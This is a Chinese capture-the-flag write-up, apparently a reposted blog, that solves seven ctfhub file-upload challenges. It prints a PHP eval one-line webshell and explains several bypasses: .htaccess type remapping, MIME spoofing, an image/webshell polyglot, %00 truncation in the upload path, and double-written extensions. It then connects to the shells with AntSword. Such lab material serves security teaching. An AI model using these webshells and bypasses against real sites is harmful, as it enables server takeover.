ctfhub技能树 文件上传

目录

1无验证

2前端验证

 3. .htaccess

4.MIME绕过

5.文件头检测

6.00截断

7.双写绕过


要做文件上传的题目首先要了解文件上传的危害

通过文件上传我们可以通过上传木马来获取服务器的webshell权限,从而接管网站的服务器

接着我们需要了解一下一句话木马

eg:<?php @eval($_POST['boom']);?>

其中eval就是执行命令的函数,$_POST[‘boom’]就是接收的数据。eval函数把接收的数据当作php代码来执行。这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句。

一句话木马+webshell客户端就会有更强大的功能。如:中国菜刀,中国蚁剑,冰蝎

1无验证

首先进入题目

这道题如题所示是无任何限制的,那么我们直接上传一句话木马

已经上传成功了,我们把相对路径组合一下成为绝对路径

 http://challenge-d2ce6b4eeac11565.sandbox.ctfhub.com:10800/upload/one.php

一句话木马我们已经上传了,而且木马的绝对路径也清楚了,那么我们打开中国蚁剑

将URL地址粘贴进去,链接密码就写自己在一句话木马当中写的密码,我这里密码为boom

 成功连接到上传进去的一句话木马了,在html当中我们可以发现一个flag 的文件

打开就找到了这个题目的flag

2前端验证

进入题目

这道题是前端验证,那么我们先上传一个正常的jpg文件找到它的相对路径

 接下来我们试着上传一句话木马

因为这道题目是在前端对网页源代码做了限制,所以我们把一句话木马改为jpg格式的文件

上传时我们进行抓包

我们可以看到请求当中就有我们要上传的one.jpg,我们在这里将jpg改为php,然后发送

 网页提示上传成功

虽然显示的还是jpg的文件,但其实我们已经改好了

打开蚁剑添加数据

 已经成功连接

接着在文件html当中找到flag就完成了

 3. .htaccess

首先我们进入题目

我们知道题目的意思就是让我们使用.htaccess

那么我们先创建一个.htaccess,因为windows不能创建没有文件名只有拓展名的文件所以我们先随便起一个名字

AddType application/x-httpd-php .jpg

 意思是将jpg为拓展名的文件,作为php来解析

接着我们将它上传,上传时进行抓包

把filename="11.htaccess" 改为 .htaccess

接下来放包,上传成功。

接下来将一句话木马改为jpg的拓展名,这样它就会被作为php的文件来进行解析

 上传成功我们进入蚁剑,添加数据

 连接成功,添加数据,找到flag

 任务完成

4.MIME绕过

首先我们先了解一下什么是MIME

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式

也就是说在上传文件时,浏览器会告诉服务器这个要上传的文件是什么类型的

那么我们进入题目

首先我们,上传一个Jpg格式的文件,上传时进行抓包

 可以 看到Content-Type: image/jpeg,而且我们上传的时候可以看到是可以成功上传的

那么我们将Content-Type: image/jpeg复制下来

接着去上传一句话木马,我们把原来的Content-Type:改为Content-Type: image/jpeg

 上传成功

 去蚁剑添加数据查找flag

任务完成

附:

常见的MIME类型

      1)超文本标记语言.html文件的MIME类型为:text/html

      2)普通文本.txt文件的MIME类型为:text/plain

      3)PDF文档.pdf的MIME类型为:application/pdf

      4)MicrosoftWord文件.word的MIME类型为:application/msword

      5)PNG图像.png的MIME类型为:image/png

      6)GIF图像.gif的MIME类型为:image/gif

      7)MPEG文件.mpg、.mpeg的MIME类型为:video/mpeg

      8)AVI文件.avi的MIME类型为:video/x-msvideo

5.文件头检测

文件头检测说明还会检测文件的文件头来查看文件是否合规

首先我们进入题目,先上传一张图片试试是否能正常上传,我自己试了好多次jpg格式的图片都无法正常上传可能是文件头没法正常读取?最后换了一张png图片可以上传。

 上传一个php文件并不可以

 我们在cmd当中制作一张图片马

copy 1.jpg/b + 1.php/a 2.jpg 

用这个代码来制作自己的图片马,接着打开bp准备开始上传图片马

  在这里我们也需要将MIME改好,图片头文件是png就将它改为 image/png

图片代码内容太多了我们删去一些

已经上传成功了接着进入蚁剑

 找到flag

6.00截断

进入题目

 首先上传一个正常的png文件

 上传成功后并没有像以前一样显示文件的相对路径,果然和之前的题目不太一样

那么根据00截断我们给一句话木马加上

%00.png

那么一句话木马的名字会是 文件名.php%00.png

接着我们上传文件

发现文件直接上传成功了

但是我们去蚁剑按照原来的前几题的URL连接发现是连不上的,那么我们抓包看看

查看里面的代码

<!--
if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $info = pathinfo($name);
    $ext = $info['extension'];
    $whitelist = array("jpg", "png", "gif");
    if (in_array($ext, $whitelist)) {
        $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
        if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
            echo "<script>alert('上传成功')</script>";
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "文件类型不匹配";
    }
}
-->

通过查资料了解到

 $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis")

move_uploaded_file($_FILES['file']['tmp_name'], $des

这里会对我们上传的文件修改文件名并修改地址,在$_GET[‘road’]后面进行00截断

在请求当中POST /?road=/var/www/html/upload/ HTTP/1.1

我们将自己上传的木马名输入后再截断

POST /?road=/var/www/html/upload/2.php%00 HTTP/1.1

上传成功,去蚁剑添加数据记得url是要输入之前的上传目录也就是 upload/2.php

 得到flag

7.双写绕过

首先进入题目我们上传一个PHP文件

 发现其实是可以上传成功的,只是会对php进行一个屏蔽

那么我们写两遍php

 接着上传

 也是一样的会都进行屏蔽,那么我们把PHP夹在php当中 比如.pphphp

当拓展名的php被屏蔽后就会形成另一个php,接着上传

 一句话木马上传成功,连接蚁剑找到flag。

猜你喜欢

转载自blog.csdn.net/winofkill/article/details/121474335